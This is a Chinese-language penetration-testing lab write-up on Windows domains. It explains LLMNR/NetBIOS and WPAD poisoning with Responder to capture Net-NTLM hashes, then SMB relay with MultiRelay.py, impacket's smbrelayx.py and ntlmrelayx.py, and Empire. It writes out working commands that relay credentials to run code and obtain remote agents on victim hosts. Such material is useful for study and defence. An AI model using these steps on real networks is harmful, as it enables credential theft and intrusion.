域环境
攻击者/kali:192.168.211.130
受害者/win7:192.168.211.28
域控/win2008 R2:192.168.211.27

Net-NTLM relay

1.利用 LLMNR 和 NetBIOS 欺骗

1.LLMNR 是什么?

链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。

当一台主机想要访问到另一台主机时,主机在自己的内部名称缓存中查询名称,如果在缓存中没有找到名称,那么主机就会向自己配置的DNS服务器发送查询请求,如果主机没有收到回应或收到了错误信息,即DNS解析会失败,那么就会转为使用LLMNR链路本地多播名称解析。

使用链路本地多播名称解析时,主机会通过 UDP 向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是,则丢弃该请求。

2.NetBIOS 是什么?

Netbios(Network Basic Input Output System):网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,Netbios是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。

3.Windows系统名称解析顺序

本地hosts文件(%windir%\System32\drivers\etc\hosts)
DNS缓存/DNS服务器
链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
意思是如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称。这就产生了一个安全问题。由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。通过工具监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。

4.利用过程

利用LLMNR和NetBIOS方法欺骗

利用SMB协议获取目标网络中计算机的Net-NTML Hash。当用户输入不存在、包含错误或者DNS中没有的主机名 时,主机先在自己的内部名称缓存中查询名称,如果没找到,主机就会向DNS服务器查询,而DNS解析必定会失败,此时就会退回LLMNR和NetBIOS进行计算机名称解析。那么攻击者就能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到我们。如果攻击者使用 Metasploit 和 Responder 等工具,就可以要求验证受害者主机的身份,而如果攻击者被认为是这些主机所在的本地网络中的一部分时,他们就会把自己进行哈希后的Windows凭据发给攻击者。

在攻击机Kali上使用 responder 工具开启监听:
输入命令:

  1. responder -I eth0 -f -v

eg:
-I:指定使用的网卡-f:允许攻击者查看受害者的主机指纹
-v:显示详细信息,responder 在截获目标的 Net-NTLM Hash 后,会将 Net-NTLM Hash 记录在日志中,之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个 -v 选项
image.png
“ON”代表针对服务数据包的监听开启,“OFF”代表关闭监听
当受害者主机访问一个不存在的资源时,cmd中执行命令如下:

  1. net use \\bunny
  2. dir \\bunney\c$

或者在运行下执行\bunny
image.png
这个时候受害者主机就会去连接主机bunny,但是通过内部缓存和DNS都没有找到,所以就会通过LLMNR和NetBIOS方法,在局域网中搜索
所以此时攻击者的responder就抓取到受害者主机的net-NTLM hash 如下图
image.png

2.利用WPAD方式劫持获得Net-NTLMhash

  1. WPAD 网络代理自动发现协议是一种客户端使用DCHPDNSLLMNRNBNS协议来定位一个代理配置文件(PAC)URL的方法。WPAD通过让浏览器自动发现代理服务器,查找存放PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。<br />在浏览器设置为 “自动检测代理设置” 的情况下,用户在访问网页时,首先会查询 PAC 文件的位置,然后获取 PAC 文件,将 PAC 文件作为代理配置文件。查询 PAC 文件的顺序如下:<br />1、通过 DHCP 服务器<br />2、查询 WPAD 主机的IP<br />Hosts<br />本地DNS缓存 (ipconfig/displaydns)<br />DNS服务器<br />LLMNR<br />NBNS<br /> PAC格式如下
  1. function FindProxyForURL(url, host) {
  2. if (url== 'http://www.baidu.com/') return 'DIRECT';
  3. if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
  4. if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
  5. return 'DIRECT';
  6. }
  1. WPAD的工作原理如图(来自乌云的图)<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2509789/1627703140598-07926e64-552c-4fa5-a3b3-bd0b3279b784.png#clientId=u5eb4cf8c-39f7-4&from=paste&id=ub1a4d593&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1190&originWidth=1794&originalType=url&ratio=1&size=723491&status=done&style=none&taskId=u83b2f939-0b17-4c2c-9198-184c8c03e46)

配合LLMNR/NBNS投毒

一个典型的劫持方式是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件,PAC文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash。
当你的浏览器设置为 “自动检测代理设置” 的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器。
image.png
在受害者在访问网页时,会首先查询 PAC 文件的位置。假设查询的地址是 WPAD/wpad.dat 且 WPAD 是个错误的域名,如果没有在域内专门配置这个域名的话,那么 DNS 解析失败,就会使用LLMNR 发起广播包询问 WPAD 对应的 IP 是多少,这时候 Responder 通过 LLMNR 投毒将这个不存在的 WPAD 的 IP 指向 Responder 所在的服务器。然后受害者就会下载攻击者事先准备好的 wpad.dat 文件,之后攻击者就可以劫持受害者的 HTTP 流量,客户端的流量就会经过攻击者的机器。

在kali主机上启动responder工具开启监听
命令如下: -w on:开启WPAD服务 -F:强制进行

  1. ./Responder.py -I eth0 -r on -v -F on -w on

image.png
这时Responder会创建一个身份验证的机制,当受害者打开浏览器访问一个资源时,就会要求客户输入在域中使用的用户名和密码
image.png
有的时候用户的安全意识较低,就下意识的输入用户名和密码,一旦输入进去账户密码,(注:这边我并没有输入用户名和密码,但是我也抓取到Net-NTLMhash值)我们刚才开启的Responder工具就可以抓取到Net-NTLMhash 如下图
问题将WPAD选项设置为OFF,重新启动responder,就不会抓到hash了,必须输入账号密码才行
image.png

image.png
参考材料:
https://mp.weixin.qq.com/s/UA9P-lgiS1oIrv4oL_mD-g
https://wooyun.js.org/drops/%E5%9F%BA%E4%BA%8EWPAD%E7%9A%84%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB.html

SMB relay (SMB中继)攻击

演示SMB协议的Relay攻击,这是最直接最有效的方法,可以直接控制该服务器(包括不限于在远程服务器上执行命令,上次exe到远程主机上执行,dump服务器的用户hash)
SMB通信采用的是NTLM验证机制
主要有两种场景:
1.工作组场景
实用性较差,这边就不过多描述了,如果有兴趣的朋友可以参考此文章链接:https://www.jianshu.com/p/c7d8e7d9c03c

2.域环境场景
域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如果没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启smb签名,域内主机是默认不开启SMB签名的)
演示环境:

  1. 攻击机kali192.168.211.132
  2. win7 sp1192.168.211.29
  3. win7 192.168.211.28
  4. win2008 R2(域控):192.168.211.27

关于smb重放的一些利用前提条件:
1、目标机器不能开启smb签名(只要说到签名,核心就是为了防数据篡改,任何协议都是如此),否则利用无效,一般情况下,Windows Server机器会默认开启,而Windows系统[win7/8/8.1/10]默认都不会开
2、打了ms08-068[KB957097]补丁的老系统利用也是无效的
关闭SMB签名验证的命令: Windows Server的RequireSecuritySignature子键默认值为1,将其键值改成0即可
image.png
进行中继攻击之前我们都要探测一下系统的SMB签名是否开启以及查看系统版本信息
有两种探测方式:
1、nmap

  1. nmap -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.211.0/24

1.png
2、responder套件中的RunFinger.py

  1. python RunFinger.py -i 192.168.211.0/24

1.通过responder工具中的MultiRelayx.py

1、探测SMB签名是否开启
2.png
2、可以看到域内主机的 SMB 签名都已禁用(false)了,接下来开始利用MultiRelay.py攻击,获得目标主机的shell

  1. python MultiRelay.py -t <被攻击ip> -u ALL

c0b5474259256bd70289df94b73d071.png
3、现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下responder的配置文件 Responder.conf,不让其对 hash 进行抓取。将SMB和HTTP的On改为Off,重启 Responder.py,准备毒化(这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取网络中所有的LLMNR和NetBIOS请求并进行响应)
3c6a6ca07339c3064cfd4cf4af4730c.png
4、在win2008R2(域控)上随便传递一个SMB流量,例如:net use \whoami 这样就拿到192.168.211.29的shell了
a78a7ce5a97c25dcda74419f2c29b8c.png
或者在域控打开浏览器访问kali搭建的SMB服务器192.168.211.132
95560d5304de65fbbc81e198b7e271f.png
5、拿到shell,我们就可以进行一些操作命令来获取信息,如下图:
image.png
1b1f33f0707ee9824f87422000c9144.png

2.通过impacket套件中的smbrelayx.py

安装impacket工具

  1. git clone https://github.com/CoreSecurity/impacket.git
  2. cd impacket/
  3. python setup.py install

攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2 。
探测SMB签名是否开启 上面已经有演示现象和命令 这边不再重复赘述。
1、同时开启responder监听 命令:

  1. python responder.py -I eth0

修改/etc/responder/Responder.conf禁用SMB和HTTP功能。
2、用 smbrelayx.py 脚本来完成任务,用-c选项来在受害机上面执行命令

  1. python smbrelayx.py -h <Client2 IP> -c Command

3、和empire联动获取权限
首先先运行empire,开启监听,然后生成powershell
image.png
执行命令

  1. ./smbrelayx.py -h <被攻击者 IP> -c 'powershell代码'

20b261ef2a454c21562e188493d59e8.png
4、并且让受害者访问攻击者设计好的SMB服务器

  1. net use \\192.168.211.132

执行代码回显结果,会发现empire中的agents出现了终端
e5588f20c4e2f7b7dd748dd3825a1d9.png
1cf58fa3259de5bdab112c1cdc3bba2.png
可以看出得到活跃终端,从而可以执行系统命令获取相关敏感信息

3.通过impacket套件中的ntlmrelayx.py

1、探测SMB签名是否开启 上面已经有演示现象和命令 这边不再重复赘述。
2、使用ntlmrelayx.py脚本可以直接用现有的hash去尝试重放指定主机 命令如下

  1. ./ntlmrelayx.py -t smb://192.168.211.29 -c whoami -smb2support
  2. ./ntlmrelayx.py -h 192.168.211.29 -c '代码/命令'

image.png
3、在域控上执行或者只要使用其他方法诱导域管理员或普通域用户访问攻击机搭建的伪造HTTP或SMB服务,并输入用户名密码:

  1. net use \\whoami

381291224d63050a47c84b2bc67d968.png
4、攻击者的ntlmrelayx.py上面即可显示成功在192.168.211.29上面执行的命令
0c561f33aa8c78135ddeb750bdda998.png
5、和empire进行联动操作
安装empire工具,并开启监听,然后生成powershell代码

  1. ./empire --开启empire
  2. listeners --进入监听
  3. uselistener http ---选择http监听方式
  4. info ----查看具体配置
  5. set Name http --设置名称为http的监听
  6. set Host http://192.168.211.132:8888 --设置监听主机
  7. set Port 8888 ---设置监听端口
  8. execute ---执行
  9. 注:细节记得大小写

69845024980132e6424f4c4a22d2c13.png
执行命令

  1. ./ntlmrelayx.py -h 192.168.211.29 -c 'powershell代码'

8c7e93bcdbc6ce45a1eb46f6fe3fb6f.png
在主机上面打开浏览器 访问192.168.211.132
3777995294e6e5c7b8f2962dabdcb1d.png
然后就可以看到回显结果(攻击机上面)
dd64b96ef6630be42fef8c3eddbf84d.png
41816c860d87d5302f56fda1bfb8e19.png
获取权限之后,我们可以执行系统命令,查看相关信息
e177420bed02aa369c5d48717aa1e18.png

4.Metasploit中SMB_relay

该方法做出来之后报错,因为版本过高导致,所以感兴趣的人可以去搭建低版本环境测试一下(注意:Metasploit的SMBRelay只支持NTLMv1,所以在攻击一些机器时会出现“Failed to authenticate”的情况)
6dc45686e5537b5be081406f792c72e.png
118a06990c7bdcbfc40ab0960ec6cdd.png

总结

上面的知识来自互联网的加上自己所学习的内容,其中Net-NTLM relay攻击包括利用LLMNR和NetBIOS欺骗方式和通过WPAD劫持获得Net-NTLMhash方法,这两种方法主要是通过resopnder工具进行监听,然后在主机访问不存在的资源,从而获取到Net-ntlmhash,该值可以通过hashcat进行破解,
SMB relay攻击主要包括responder工具中的MultiRelayx.py和impacket套件中的smbrelayx.py、ntlmrelayx.py脚本来获取主机权限,该类攻击都要先检测域内主机是否开启SMB签名,如果开启则无法进行攻击,域环境中域控默认是开启的,其他域主机没有开启,同时也要设置Resopnder套件中的responder.conf文件中的SMB和HTTP为off,避免抓取hash,大概的利用方法都是执行各自的脚本,然后在域服务器打开浏览器去访问我们搭建的SMB服务器(kali)然后受害者的信息就会被我们搭建的SMB服务器所抓取到,
SMB重放攻击:当访问格式为\IP\File的时候,会默认将当前用户密码凭证送到SMB服务进行认证,失败后才弹出需要输用户密码的对话框,但此时SMB服务器已经收到了相应数据,通过抓包即能获取到用户凭证。

参考文章
https://www.freebuf.com/articles/network/244375.html
https://www.jianshu.com/p/9627962db4da
https://blog.csdn.net/qq_41874930/article/details/108825010
https://wooyun.js.org/drops/%E5%9F%BA%E4%BA%8EWPAD%E7%9A%84%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB.html